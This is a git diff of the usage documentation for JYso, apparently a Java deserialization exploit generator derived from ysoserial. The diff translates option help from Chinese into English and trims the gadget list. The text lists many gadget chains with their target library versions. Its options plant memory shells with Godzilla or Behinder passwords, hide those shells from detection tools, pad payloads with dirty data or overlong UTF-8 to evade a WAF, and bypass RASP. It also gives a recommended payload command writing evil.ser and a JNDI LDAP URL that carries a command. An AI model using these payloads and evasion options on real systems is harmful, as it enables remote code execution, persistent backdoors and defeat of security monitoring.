diff --git a/6、Gadget.md b/6、Gadget.md index 0f459ef..20f3373 100644 --- a/6、Gadget.md +++ b/6、Gadget.md @@ -1,143 +1,124 @@ # 使用参数和链子 ```text7 + ┏┳┓┏ + ┃┗┫┏┏┓ + ┗┛┗┛┛┗┛ +[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options] [root]#~ Available payload types: - Payload Authors Dependencies - ------- ------- ------------ - AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 - AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2 - BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 - BeanShell2 @killer bsh:2.0b1 - BindingEnumeration - C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 - C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35 - C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9 - C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30 - C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11 - C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X - C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X - C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X - C3P0RefDataSource - C3P0WrapperConnPool - Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 - Clojure @JackOfMostTrades clojure:1.8.0 - CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X - CommonsBeanutilsAttrCompare192 @水滴 commons-beanutils:1.9.2 - CommonsBeanutilsJDBC @QI4L commons-beanutils:1.9.2 - CommonsBeanutilsJNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1 - CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X - CommonsBeanutilsObjectToStringComparator192 @水滴 commons-beanutils:1.9.2, commons-lang3:3.10 - CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X - CommonsBeanutilsPropertySource192 @SummerSec commons-beanutils:1.9.2 - Fastjson1 - Fastjson2 - FileUpload1 - Groovy - Groovy1 @frohoff groovy:2.3.9 - Groovy2 @Unam4 groovy <2.4.3 - Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 - Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 - Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X - ImageIO - JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - JRE8u20 @frohoff - JRE8u20_2 - JRMPClient @mbechler - JRMPClient_Activator @mbechler - JRMPClient_Obj @mbechler - JRMPListener @mbechler - JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 - Jackson1 - Jackson2 - Jackson3 @jsjcw 6.2.10 - Jackson4 @QI4L 6.2.10 - JacksonLdapAttr - JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - JdbcRowSet - Jdk7u21 @frohoff - Jdk7u21variant @potats0 - Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 - LazySearchEnumeration - MozillaRhino1 @matthias_kaiser js:1.7R2 - MozillaRhino2 @_tint0 js:1.7R2 - Myfaces1 @mbechler - Myfaces2 - ROME @mbechler rome:1.0 - ROME2 rome:1.0 - ROME3 @Firebasky rome:1.0 - ROMEJDBC - RenderedImage jai-codec-1.1.3 - Resin - ServiceLoader - SignedObject - Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE - Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 - Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 - SpringAbstractBeanFactoryPointcutAdvisor - SpringPartiallyComparableAdvisorHolder - SpringPropertyPathFactory - URLDNS @gebl - UnixPrintService - UnixPrintServiceLookup - Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 - Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 - Xbean - cb1183 commons-beanutils:1.8.3, commons-beanutils:1.7X - cb160 commons-beanutils:1.6.0 - cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 - cb2183 commons-beanutils:1.8.3, commons-beanutils:1.7X - cb3183 commons-beanutils:1.8.3, commons-beanutils:1.7X - cc1 @frohoff commons-collections:3.1 - cc10 commons-collections:3.2.1 - cc11 - cc12 @Jayl1n commons-collections:3.2.1 - cc13 @Unam4 commons-collections:3.1 - cc2 @frohoff commons-collections4:4.0 - cc3 @frohoff commons-collections:3.1 - cc4 @frohoff commons-collections4:4.0 - cc4_17 @jiecub3 - cc5 @matthias_kaiser, @jasinner commons-collections:3.1 - cc6 @matthias_kaiser commons-collections:3.1 - cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 - cc8 @navalorenzo commons-collections4:4.0 - cc9 @梅子酒 commons-collections:3.2.1 - cck1 commons-collections:3.1 - cck2 commons-collections:4.0 - cck3 @matthias_kaiser commons-collections:3.1 - cck4 @matthias_kaiser commons-collections:4.0 - springFs + Payload Authors Dependencies + ------- ------- ------------ + AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 + AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2 + BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 + BeanShell2 @killer bsh:2.0b1 + C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35 + C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9 + C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30 + C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11 + C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X + C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X + C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X + C3P0RefDataSource + C3P0WrapperConnPool + Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 + Clojure @JackOfMostTrades clojure:1.8.0 + Fastjson1 + Fastjson2 + FileUpload1 + Groovy1 @frohoff groovy:2.3.9 + Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 + Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 + Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X + JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JRE8u20 @frohoff + JRE8u20_2 + JRMPClient @mbechler + JRMPClient_Activator @mbechler + JRMPClient_Obj @mbechler + JRMPListener @mbechler + JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 + Jackson1 + Jackson2 + Jackson3 @jsjcw 6.2.10 + Jackson4 @QI4L 6.2.10 + JacksonLdapAttr + JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JdbcRowSet + Jdk7u21 @frohoff + Jdk7u21variant @potats0 + Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 + MozillaRhino1 @matthias_kaiser js:1.7R2 + MozillaRhino2 @_tint0 js:1.7R2 + Myfaces1 @mbechler + Myfaces2 + ROME @mbechler rome:1.0 + ROME2 rome:1.0 + ROME3 @Firebasky rome:1.0 + ROMEJDBC + RenderedImage jai-codec-1.1.3 + Resin + SignedObject + Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE + Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 + Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 + URLDNS @gebl + UnixPrintService + UnixPrintServiceLookup + Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 + Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + cb160 commons-beanutils:1.6.0 + cb183 commons-beanutils:1.8.3, commons-beanutils:1.7X + cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + cb_AttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X + cb_AttrCompare192 @水滴 commons-beanutils:1.9.2 + cb_JDBC @QI4L commons-beanutils:1.9.2 + cb_JNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1 + cb_ObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X + cb_PropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X + cb_PropertySource192 @SummerSec commons-beanutils:1.9.2 + cc1 @frohoff commons-collections:3.1 + cc10 commons-collections:3.2.1 + cc11 + cc12 @Jayl1n commons-collections:3.2.1 + cc13 @Unam4 commons-collections:3.1 + cc2 @frohoff commons-collections4:4.0 + cc3 @frohoff commons-collections:3.1 + cc4 @frohoff commons-collections4:4.0 + cc4_17 @jiecub3 + cc5 @matthias_kaiser, @jasinner commons-collections:3.1 + cc6 @matthias_kaiser commons-collections:3.1 + cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 + cc8 @navalorenzo commons-collections4:4.0 + cc9 @梅子酒 commons-collections:3.2.1 + cck1 commons-collections:3.1 + cck2 commons-collections:4.0 + cck3 @matthias_kaiser commons-collections:3.1 + cck4 @matthias_kaiser commons-collections:4.0 + springFs - -usage: JYso-[version].jar [-ch ] [-dcfp ] [-dl ] [-dt ] [-f ] [-g ] [-gen] [-gzk ] [-h] [-hk ] [-ht ] [-hv ] [-i] [-mcl] [-n ] [-ncs] [-o] [-p - ] [-pw ] [-rh] [-u ] [-yso ] - -b64,--base64 base64编码输出结果 - -ch,--cmd-header 请求头，将命令传递给执行，默认[X-Token-Data] - -dcfp,--define-class-from-parameter 使用 DefineClassFromParameter 时自定义参数名称 - -dl,--dirty-length 使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数 - -dt,--dirty-type 利用脏数据绕过WAF，类型：1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET - -f,--file 将输出写入 FileOutputStream（指定文件名） +usage: JYso-[version].jar [-b64] [-dcfp ] [-dl ] [-dt ] [-f ] [-g ] [-i] [-mcl] [-ncs] [-o] [-p + ] [-rh] [-utf] [-y] + -b64,--base64 base64 encoding + -dcfp,--define-class-from-parameter Customize parameter name when using DefineClassFromParameter + -dl,--dirty-length Length of dirty data when using type 1 or 3/Counts of Nesting loops when + using type 2 + -dt,--dirty-type Using dirty data to bypass WAF，type: 1:Random Hashable + Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data + -f,--file Write Output into FileOutputStream (Specified FileName) -g,--gadget Java deserialization gadget - -gen,--gen-mem-shell 将内存 Shell 类保存为class文件 - -gzk,--godzilla-key Godzilla key,default [key] - -h,--hide-mem-shell 对检测工具隐藏内存外壳（类型2仅支持SpringControllerMS） - -he1,--Hessian1 Hessian1 Output - -he2,--Hessian2 Hessian2 Output - -hk,--header-key MemoryShell 标头检查，请求标头密钥，默认 [Referer] - -ht,--hide-type 隐藏内存shell，输入1：write /jre/lib/charsets.jar 2：write /jre/classes/ - -hv,--header-value MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/] - -i,--inherit 是否让payload继承AbstractTranslet（低版本的JDK如1.6应该继承） - -mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader - -n,--gen-mem-shell-name 设置MemShell类文件名 - -ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl - -o,--obscure 使用反射绕过RASP + -i,--inherit Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should + inherit) + -mcl,--mozilla-class-loader Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil + -ncs,--no-com-sun Force Using org.apache.XXX.TemplatesImpl instead of + com.sun.org.apache.XXX.TemplatesImpl + -o,--obscure Using reflection to bypass RASP -p,--parameters Gadget parameters - -pw,--password Behinder 或 Godzilla 密码，默认 [p@ssw0rd] - -rh,--rhino 使用Rhino Engine 把内存马代码转换为JS - -u,--url MemoryShell绑定url模式，默认[/QI4L] + -rh,--rhino ScriptEngineManager Using Rhino Engine to eval JS -utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf - -x,--XStream Generate Xstream serialization xml - -y,--ysoserial Java deserialization + -y,--ysoserial Java deserialization Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser @@ -177,8 +158,9 @@ java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser **JNDI中同理** +需要对Base64后的内容进行base64编码 ```java -ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/[base64_encoded_DL-xxx.org]) +ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/DL-xxx.org]) ``` **命令执行示例**: